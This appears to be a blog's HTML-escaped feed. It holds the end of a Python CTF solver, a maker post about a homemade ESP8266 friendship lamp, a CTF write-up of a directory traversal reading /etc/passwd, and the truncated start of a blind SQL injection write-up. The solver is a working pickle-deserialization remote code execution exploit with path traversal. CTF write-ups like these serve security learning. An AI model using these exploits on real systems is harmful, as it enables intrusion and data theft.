    cookies &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; session_cookie&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        cookies &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;session&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; session_cookie&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    files &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;file&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;filename&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; requests&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; files&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;files&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cookies&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;cookies&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;generate_payload&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;RCE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__reduce__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; os
            cmd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;cat /flag.txt &gt; /app/static/uploads/flag.txt&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;system&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmd&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    rce &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; RCE&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    payload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;&#92;x00&#92;x00&#92;x00&#92;x00&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; pickle&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dumps&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rce&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; payload

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;submit_payload&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; session_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    filename &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; hashlib&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;md5&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;session:&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; session_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;hexdigest&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    payload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; generate_payload&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; upload_file&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; filename&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; payload&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;../../flask_session/&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;execute_payload&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; session_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; requests&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cookies&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;session&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; session_id&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status_code

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get_flag&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; session_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; requests&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/static/uploads/flag.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; __name__ &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Enter the instance URL: &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; url &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
         url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;http://localhost:5000&quot;&lt;/span&gt;
    first_upload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; upload_file&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;empty_file&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    session_id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; first_upload&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cookies&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;session&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;First upload:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; first_upload&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status_code&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Session ID:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; session_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    payload_upload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; submit_payload&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; session_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Payload upload:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; payload_upload&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status_code&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Payload execute:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; execute_payload&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; session_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    flag &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; get_flag&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; session_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Flag:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; flag&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Friendship Lamp Clone</title>
    <link href="https://example.com/blog/friendlamp/" />
    <updated>2021-03-16T00:00:00Z</updated>
    <id>https://example.com/blog/friendlamp/</id>
    <content type="html">&lt;h1 id=&quot;why-buy-3-when-you-can-make-3&quot;&gt;Why Buy 3 When You Can Make 3?&lt;/h1&gt;
&lt;h2 id=&quot;recreating-luvlinks-friendship-lamp-with-esp8266-neopixels-and-a-lot-of-coffee&quot;&gt;Recreating &lt;a href=&quot;https://www.luvlink.com/products/friendship-lamp&quot;&gt;LuvLink&#39;s Friendship Lamp&lt;/a&gt; with ESP8266, NeoPixels, and a Lot of Coffee&lt;/h2&gt;
&lt;p&gt;Let me take you back to early 2021, where the world could do with more social interactions across long distances. I wanted to give my family (who live in another country) something meaningful, something connected — and also scratch that maker itch with a personal challenge. Inspired by LuvLink’s Friendship Lamps (cute Wi-Fi-connected RGB led lights that glow in sync across distances), I asked myself:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Why buy three for $$$ when I could make three for &amp;lt;$ and learn a ton in the process?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Spoiler: I did it. And it worked. And yes, I refreshed my electronics knowledge, learned a bunch about ESP devices, MQTT, OTA updates, and more along the way. Here&#39;s the story.
&lt;video width=&quot;600&quot; height=&quot;340&quot; controls=&quot;&quot; autoplay=&quot;&quot; muted=&quot;&quot;&gt;
&lt;source src=&quot;https://example.com/video/20210306_161459_1.mp4&quot; type=&quot;video/mp4&quot;&gt;
&lt;/video&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;the-mission&quot;&gt;The Mission&lt;/h2&gt;
&lt;p&gt;LuvLink’s Friendship Lamps let you touch your lamp, and—poof!—a paired lamp across the world glows with the same color. Sweet idea, but expensive when you want more than two. So I set out to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Clone the core functionality&lt;/li&gt;
&lt;li&gt;Make three of them for less than half the price of one retail set&lt;/li&gt;
&lt;li&gt;Use the project to revisit microcontrollers, circuit design, and embedded programming&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finish it in time for Mother&#39;s Day&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;the-hardware&quot;&gt;The Hardware&lt;/h2&gt;
&lt;p&gt;The brains of the operation? A humble &lt;a href=&quot;https://www.wemos.cc/en/latest/d1/d1_mini.html&quot;&gt;D1 Mini (ESP8266)&lt;/a&gt;. I could have picked something beefier, but these little guys are small, cheap, reliable, and packed with features for Wi-Fi-connected projects.&lt;/p&gt;
&lt;p&gt;I gutted a set of Chinese ambient RGB lamps (just decorative touch lights that look suspiciously like the real deal), stripped out the original LEDs, and replaced them with NeoPixel rings—those delightful addressable RGB LEDs from Adafruit that can do buttery-smooth color fades, custom animations, and more.&lt;/p&gt;
&lt;h3 id=&quot;touch-input&quot;&gt;Touch Input?&lt;/h3&gt;
&lt;p&gt;Here’s where I went a little old-school. I rigged up a simple RC circuit connected to one of the D1 Mini’s digital inputs to simulate a touch sensor. It worked well enough, but in hindsight... I could’ve saved time and effort by using a microcontroller with capacitive touch input baked in (like the ESP32). Lesson learned!&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;the-software-stack&quot;&gt;The Software Stack&lt;/h2&gt;
&lt;p&gt;Recreating the core functionality wasn&#39;t just about lights and taps—it was about making the experience feel polished and connected. I did my best to mimic the real product’s behavior based on what I could find online.&lt;/p&gt;
&lt;p&gt;Here’s what went into the firmware:&lt;/p&gt;
&lt;h3 id=&quot;mqtt-for-realtime-communication&quot;&gt;🛰️ MQTT for Realtime Communication&lt;/h3&gt;
&lt;p&gt;Each lamp connected to a shared MQTT broker (Adafruit IO). When one lamp was touched, it published a message with the configured color. The others would instantly pick it up and glow accordingly. The latency was so low, it felt like magic.&lt;/p&gt;
&lt;h3 id=&quot;wifi-setup-mode&quot;&gt;📶 WiFi Setup Mode&lt;/h3&gt;
&lt;p&gt;I implemented a dedicated setup mode (triggered via long press or first boot) that spun up an access point and served a captive portal using WiFiManager and themed to look like a genuine product. Family members could easily onboard their lamps to their home Wi-Fi—no fuss, no USB cable, no technical knowledge.&lt;/p&gt;
&lt;h3 id=&quot;ota-firmware-updates&quot;&gt;🔄 OTA Firmware Updates&lt;/h3&gt;
&lt;p&gt;Once the lamps were gifted and out in the wild, I still wanted to be able to iterate, such as adding fun animations for special days, like christmas and birthdays. So I baked in secure Over-The-Air updates, allowing me to push firmware tweaks or bug fixes without needing physical access. Huge win.&lt;/p&gt;
&lt;h3 id=&quot;status-modes-and-boot-feedback&quot;&gt;🌈 Status Modes &amp;amp; Boot Feedback&lt;/h3&gt;
&lt;p&gt;I wanted the lamps to feel alive, so I added a bunch of UX flourishes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Startup color swirl while the lamp connected to Wi-Fi&lt;/li&gt;
&lt;li&gt;Special animation modes for setup/reset/OTA update&lt;/li&gt;
&lt;li&gt;A subtle blink for &amp;quot;connected&amp;quot; confirmation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These weren’t essential, but they made the whole experience smoother and more intuitive—especially for non-technical users. And theses light patterns and their meanings were already well documented by our friends over at LuvLink.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;lessons-learned&quot;&gt;Lessons Learned&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Microcontrollers are ridiculously powerful these days. The D1 Mini (ESP8266) handled Wi-Fi, OTA, touch input, and RGB control without breaking a sweat.&lt;/li&gt;
&lt;li&gt;MQTT is the hero of IoT projects. Lightweight, real-time, and easy to manage.&lt;/li&gt;
&lt;li&gt;Next time, use a chip with native touch input. My RC circuit worked, but ESP32s are just as cheap, save you the analog gymnastics and aren&#39;t as prone to noise.&lt;/li&gt;
&lt;li&gt;Recreating commercial UX is hard but rewarding. Things like status lights, update feedback, and onboarding flow aren’t just bells and whistles—they&#39;re what turn a hack into a product.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id=&quot;the-payoff&quot;&gt;The Payoff&lt;/h2&gt;
&lt;p&gt;By Mother’s Day 2021, all three lamps were in place—in three different homes, across two countries. And every time someone taps their lamp, the others glow the same color. No text. No call. Just a quiet &amp;quot;I’m thinking of you.&amp;quot;&lt;/p&gt;
&lt;p&gt;What started as a budget hack turned into one of my most rewarding personal projects to date. It reminded me why I love working with embedded systems and hardware. And my families reaction? Totally worth the solder fumes and frantic last-minute debugging and touch sensor tuning.&lt;/p&gt;
&lt;p&gt;Hot tip: Never (again) roll your own touch sensor.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Would I do it again? Absolutely. But maybe next time with a less looming deadline, an ESP32, a better enclosure (now that I have a 3D printer), and some more reactive animations just for fun.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Writeup: Aarhus CTF 2019 - Navitas (Web)</title>
    <link href="https://example.com/blog/writeups/aarhusctf/2019/web/navitas/" />
    <updated>2019-05-13T00:00:00Z</updated>
    <id>https://example.com/blog/writeups/aarhusctf/2019/web/navitas/</id>
    <content type="html">&lt;h1 id=&quot;challenge-navitas-aarhus-ctf-2019&quot;&gt;Challenge: Navitas (Aarhus CTF 2019)&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;By Team &amp;quot;&lt;a href=&quot;http://challenges.aarhus-ctf.dk/users/9&quot;&gt;! leftovers&lt;/a&gt;&amp;quot; (Sam Beresford &amp;amp; Emilie Bjerg)&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;challenge-description&quot;&gt;Challenge description:&lt;/h3&gt;
&lt;p&gt;In this challenge we had to find the username of the linux system user.&lt;/p&gt;
&lt;div style=&quot;display:grid; place-items:center;&quot;&gt;
  &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/navitas/BBf3bYXmA3-400.avif 400w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/navitas/BBf3bYXmA3-400.webp 400w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/navitas/BBf3bYXmA3-400.png&quot; width=&quot;400&quot; alt=&quot;ChallengeDescription&quot; height=&quot;338&quot;&gt;&lt;/picture&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;h3 id=&quot;solution&quot;&gt;Solution:&lt;/h3&gt;
&lt;p&gt;The page does not contain any input fields, and the cookies does not seem give anything away, however, there is a page-query in the url. A directory traversal attack might therefore be possible using this. Changing home.php to ../../../../../etc/passwd makes us able to view the passwd file on the webservers linux system:&lt;/p&gt;
&lt;div style=&quot;display:grid; place-items:center;&quot;&gt;
  &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/navitas/5RH4lFjeXd-800.avif 800w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/navitas/5RH4lFjeXd-800.webp 800w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/navitas/5RH4lFjeXd-800.png&quot; width=&quot;800&quot; alt=&quot;Solution&quot; height=&quot;333&quot;&gt;&lt;/picture&gt;
&lt;/div&gt;
&lt;p&gt;In this the flag is found: &lt;em&gt;CTF{I_sh0Uld_n07_t4k3_P4thS_fR0M_t3H_U53R}&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Full url (http://165.22.90.215:8094/?page=../../../../../etc/passwd)&lt;/p&gt;
&lt;h1 id=&quot;challenge-solved&quot;&gt;Challenge solved!&lt;/h1&gt;
</content>
  </entry>
  <entry>
    <title>Writeup: Aarhus CTF 2019 - LeakDB (Web)</title>
    <link href="https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/" />
    <updated>2019-05-13T00:00:00Z</updated>
    <id>https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/</id>
    <content type="html">&lt;h1 id=&quot;aarhus-ctf-2019-leakdb&quot;&gt;Aarhus CTF 2019 - LeakDB&lt;/h1&gt;
&lt;h4 id=&quot;web-484-points-5-solves&quot;&gt;(Web, 484 Points, 5 Solves)&lt;/h4&gt;
&lt;p&gt;&lt;em&gt;By Team &amp;quot;&lt;a href=&quot;http://challenges.aarhus-ctf.dk/users/9&quot;&gt;! leftovers&lt;/a&gt;&amp;quot; (Sam Beresford &amp;amp; Emilie Bjerg)&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;challenge-description&quot;&gt;Challenge Description:&lt;/h3&gt;
&lt;p&gt;We are being asked to find a flag located somewhere on the provided website. A hint, about the necessity of brute-forcing being required to solve this challenge is given, suggesting that some form of blind SQL injection may be required.&lt;/p&gt;
&lt;div style=&quot;display:grid; place-items: center;&quot;&gt;
  &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/gdpaROYpoJ-355.avif 355w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/gdpaROYpoJ-355.webp 355w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/gdpaROYpoJ-355.png&quot; width=&quot;355&quot; alt=&quot;challenge.png&quot; height=&quot;300&quot;&gt;&lt;/picture&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;h3 id=&quot;solution&quot;&gt;Solution&lt;/h3&gt;
&lt;p&gt;The website allows a user to enter a password and then checks if this has been leaked by looking it up in its database. The website can give three different responses depending on the input it is given.&lt;/p&gt;
&lt;div style=&quot;display:flex;gap:3%;&quot;&gt;
	&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/ha9-k2ZrZV-290.avif 290w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/ha9-k2ZrZV-290.webp 290w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/ha9-k2ZrZV-290.png&quot; alt=&quot;error.png&quot; width=&quot;290&quot; height=&quot;438&quot;&gt;&lt;/picture&gt;
	&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/nlTk71Ff3Z-290.avif 290w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/nlTk71Ff3Z-290.webp 290w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/nlTk71Ff3Z-290.png&quot; alt=&quot;congrats.png&quot; width=&quot;290&quot; height=&quot;455&quot;&gt;&lt;/picture&gt;
	&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/SSjvawHVuH-290.avif 290w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/SSjvawHVuH-290.webp 290w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/writeups/aarhusctf/2019/web/leakdb/SSjvawHVuH-290.png&quot; alt=&quot;no.png&quot; width=&quot;290&quot; height=&quot;455&quot;&gt;&lt;/picture&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;em&gt;&amp;quot;failed&amp;quot;&lt;/em&gt; response occurs when the query is invalidated. The &lt;em&gt;&amp;quot;Congratulations&amp;quot;&lt;/em&gt; response occurs when the query returns &lt;em&gt;False&lt;/em&gt;. Whereas the &lt;em&gt;&amp;quot;Oh no...&amp;quot;&lt;/em&gt; response occurs when the query returns &lt;em&gt;True&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;&amp;quot;The SQLite query failed&amp;quot;&lt;/em&gt; response, reveals the database management system to be &lt;strong&gt;SQLite&lt;/strong&gt;.
Whilst the other two responses enable us to perform a &lt;strong&gt;boolean-based blind SQL injection&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;With this information we can write a script to brute-force the table names of the database, as we are able to detect whether or not our statements return true.&lt;/p&gt;
&lt;p&gt;Our table name brute-force returns &lt;em&gt;&amp;quot;LEAKED_PASSWORDS&amp;quot;&lt;/em&gt; and &lt;em&gt;&lt;strong&gt;&amp;quot;SECRETS&amp;quot;&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p style=&quot;display:flex; gap:3%;&quot;&gt;
